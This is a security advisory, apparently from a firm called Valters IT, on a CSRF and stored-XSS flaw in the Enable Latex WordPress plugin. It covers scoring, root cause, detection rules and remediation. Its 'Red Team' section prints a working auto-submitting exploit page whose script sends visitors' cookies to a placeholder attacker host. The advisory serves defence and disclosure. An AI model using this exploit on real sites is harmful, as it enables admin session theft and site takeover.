CVE-2025-58860

Executive Summary

CVE-2025-58860 is a Cross-Site Request Forgery (CSRF) vulnerability in the KaizenCoders Enable Latex WordPress plugin (versions <= 1.2.16). This flaw allows an unauthenticated attacker to trick a logged-in administrator into performing unintended actions, such as injecting malicious JavaScript (Stored XSS) into the site. The attack chain leverages CSRF to bypass same-origin policy, then uses the stored XSS to execute arbitrary scripts in the context of other users' browsers. The vulnerability is currently unpatched, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with this plugin active.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, any site running Enable Latex <= 1.2.16 is at risk. Supply chain risk is moderate: the plugin is not widely used, but if compromised, it could lead to site-wide XSS and credential theft. No known malicious packages or backdoors have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – XSS can affect other users
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification
• Availability Impact: None (A:N)

Threat Level: High. Although no public exploit exists, the combination of CSRF + Stored XSS can lead to admin account takeover, defacement, or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the Enable Latex plugin's settings page, which lacks CSRF nonce validation. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, submits a form to the plugin's settings endpoint. This form can inject arbitrary JavaScript into the plugin's configuration, which is then stored and executed on every page load where the plugin renders LaTeX.

Attack Flow:

1. Attacker hosts a malicious page with a hidden form targeting wp-admin/options-general.php?page=enable-latex.
2. The form contains a field like enable_latex_custom_css with a payload: </style><script>alert('XSS')</script>.
3. Admin visits the page (e.g., via phishing email) and the form auto-submits via JavaScript.
4. The plugin saves the payload without sanitization.
5. On subsequent visits to any page using the plugin, the payload executes, allowing the attacker to steal cookies, redirect users, or perform actions as the admin.

Root Cause: Missing CSRF token and insufficient output sanitization in the plugin's settings handler.

Vulnerable vs. Patched Code

Vulnerable Code (enable-latex.php, <= 1.2.16):

// No nonce check
if ( isset( $_POST['enable_latex_custom_css'] ) ) {
    update_option( 'enable_latex_custom_css', $_POST['enable_latex_custom_css'] );
}

Patched Code (hypothetical fix):

// Add nonce verification
if ( isset( $_POST['enable_latex_custom_css'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'enable_latex_settings' ) ) {
    $sanitized = sanitize_text_field( $_POST['enable_latex_custom_css'] );
    update_option( 'enable_latex_custom_css', $sanitized );
}

The patched version adds a CSRF nonce check and sanitizes the input using sanitize_text_field().

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Enable Latex <= 1.2.16
• Admin user logged in (victim)
• Attacker-controlled web server

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<form id="csrf" action="http://target/wp-admin/options-general.php?page=enable-latex" method="POST">
    <input type="hidden" name="enable_latex_custom_css" value="</style><script>fetch('http://attacker/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Steps:

1. Host the HTML on attacker server.
2. Send phishing link to admin.
3. Once admin visits, the form auto-submits, injecting the XSS payload.
4. The payload executes on subsequent page loads, exfiltrating cookies to attacker server.

Blue Team

Detection:

• Monitor for unusual POST requests to options-general.php with page=enable-latex parameter.
• Look for suspicious enable_latex_custom_css values containing <script> tags.
• Check server logs for referrer headers from unknown domains.

Hunting:

• Search for stored XSS payloads in wp_options table: SELECT * FROM wp_options WHERE option_name = 'enable_latex_custom_css' AND option_value LIKE '%<script>%'.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/options-general.php?page=enable-latex with suspicious form data.
• File: Modified wp_options table entry for enable_latex_custom_css containing JavaScript.
• Log: Referrer header from attacker-controlled domain.
• Behavior: Unexpected admin actions (e.g., new admin user creation) after admin visits a phishing link.

Detection Engineering

YARA Rule

rule CVE_2025_58860_CSRF_XSS {
    meta:
        description = "Detects CSRF + Stored XSS payload in Enable Latex plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58860"
    strings:
        $payload = /enable_latex_custom_css.*<script/i
        $csrf_form = /<form.*action=.*options-general\.php.*page=enable-latex/i
    condition:
        $payload or $csrf_form
}

Sigma Rule

title: CVE-2025-58860 Enable Latex CSRF + Stored XSS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSRF attempts targeting Enable Latex plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/options-general.php'
        cs-uri-query|contains: 'page=enable-latex'
        cs-referrer|notcontains: 'target.com'
    condition: selection
falsepositives:
    - Legitimate admin actions from same domain
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-58860 Enable Latex CSRF + Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/options-general.php";
    http_uri;
    content:"page=enable-latex";
    http_uri;
    pcre:"/enable_latex_custom_css.*<script/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-58860;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove stored XSS payloads from wp_options table: DELETE FROM wp_options WHERE option_name = 'enable_latex_custom_css' AND option_value LIKE '%<script>%'.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply vendor patch when available.
• Implement Web Application Firewall (WAF) rules to block CSRF and XSS patterns.
• Enforce CSRF tokens on all plugin settings forms.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Add a custom function to functions.php to sanitize the option:

add_filter( 'pre_update_option_enable_latex_custom_css', 'sanitize_text_field' );

Valters IT
Securing Digital Frontiers